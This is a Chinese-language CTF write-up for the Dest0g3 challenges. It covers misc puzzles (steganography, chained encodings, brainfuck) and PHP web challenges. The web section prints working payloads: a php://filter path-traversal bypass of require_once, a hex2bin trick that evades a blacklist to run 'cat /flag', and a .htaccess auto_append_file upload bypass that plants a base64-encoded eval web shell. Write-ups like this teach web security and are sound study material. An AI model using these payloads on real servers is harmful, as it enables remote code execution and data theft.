目录
misc
Pngenius
放入 steg中观察
发现password:Weak_Pas5w0rd
然后放入kali中binwalk发现含有zip
然后foremost进行分离,因为在steg中知道了密码,所以直接拿到flag。
EasyEncode
暴力破解得到一串字符
摩斯密码解密
然后hex转str
接着就是Unicode解密,最后base64得到flag。
你知道js吗
附件加上后缀.docx是一个word文档,转换字体后得到一段base64
解码后发现 brainfuck
+++++ ++[-> +++++ ++<]> +++.. ++.-. ++.-- --.++ ++.--
-.-.- --.++ ++++.
+.--- -..++ ++.<+ ++[-> +++<] >++.< +++[-
>---< ]>--- ---.+ ++++. -----
.+++. ...-- ---.+ ++++. ---.+ ++.-- ---.+ ++++. ---.. +++++ +.--- ----.
<++++ [->++ ++<]> ++.<+ +++[- >---- <]>-. ---.+
+++++ .---- -.++. ++.+.
--.-- .<+++ +[->+ +++<] >++.< ++++[ ->--- -<]>-
.+.-. ---.+ ++.+. -.+++
+.--- --.<+ +++[- >++++ <]>++ .<+++ [->-- -<]>- ----. ----. +.+++ +.---
-.--- .+++. -..<+ +++[- >++++ <]>++
.<+++ +[->- ---<] >-.++ +++.- ----.
+++.. ---.+ ++.-- --.+. ..+++ +.-.- ----. +++++
.---- .+.++ ++.-- --.++
++.-. ----. +.-.+ ++++.
<+++[ ->+++ <]>++ ++.<
Brainfuck/Text/Ook! obfuscator - deobfuscator. Decode and encode online. (bugku.com)网站解密
446573743067337B38366661636163392D306135642D343034372D623730322D3836636233376162373762327D
hex转str得到flag
Dest0g3{86facac9-0a5d-4047-b702-86cb37ab77b2}
web
phpdest
题目源码
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once($_GET['file']);
}
require_once
在调用时php会检查该文件是否已经被包含过,如果是则不会再次包含。
php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,当已经require_once('flag.php')
,已经include的文件不可以再require_once。
/proc/self
指向当前进程的/proc/pid/
,/proc/self/root/
是指向/
的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过,payload:
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
base解密得到flag。参考博客
EasyPHP
<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
echo $fl4g;
}else{
echo "Try harder!";
}
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
);
$fl4g .= $dest0g3;
?> Try harder!
date() 函数可把时间戳格式化为可读性更好的日期和时间。
H | 小时,24 小时格式,有前导零 | 00 到 23 |
d | 月份中的第几天,有前导零的 2 位数字 | 01 到 31 |
i | 有前导零的分钟数 | 00 到 59> |
set_error_handler() 函数设置用户自定义的错误处理函数。该函数用于创建运行期间的用户自己的错误处理方法。所以思路就是POST传参,造成报错,执行set_error_handler() 函数,显示flag。
payload:
ctf[]=123
SimpleRCE
<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>
命令执行,过滤了很多,没有过滤(
和)
还有%
,同时 str_ireplace函数用hex2bin绕过,正好单引号没有过滤 73797374656d→system,636174202f666c6167→cat /flag。
post传参
aaa=hex2bin('73797374656d')(hex2bin('636174202f666c6167'));
funny_upload
前端JS有些白名单限制,直接利用插件或者其他办法禁用掉JS
上传过程中发现可以上传.htaccess文件,其次限制了文件后缀名,以及检查文件内容,过滤:<?
可以利用auto_append_file和php伪协议打组合拳绕过。
先是.htaccess文件
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/jpeg
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=images.jpg"
然后是images.jpg
Content-Disposition: form-data; name="file"; filename="images.jpg"
Content-Type: image/jpeg
PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOz8+
# 上面是经过base64加密的 <?php @eval($_POST['pass']);?>
最后蚁剑链接拿到flag。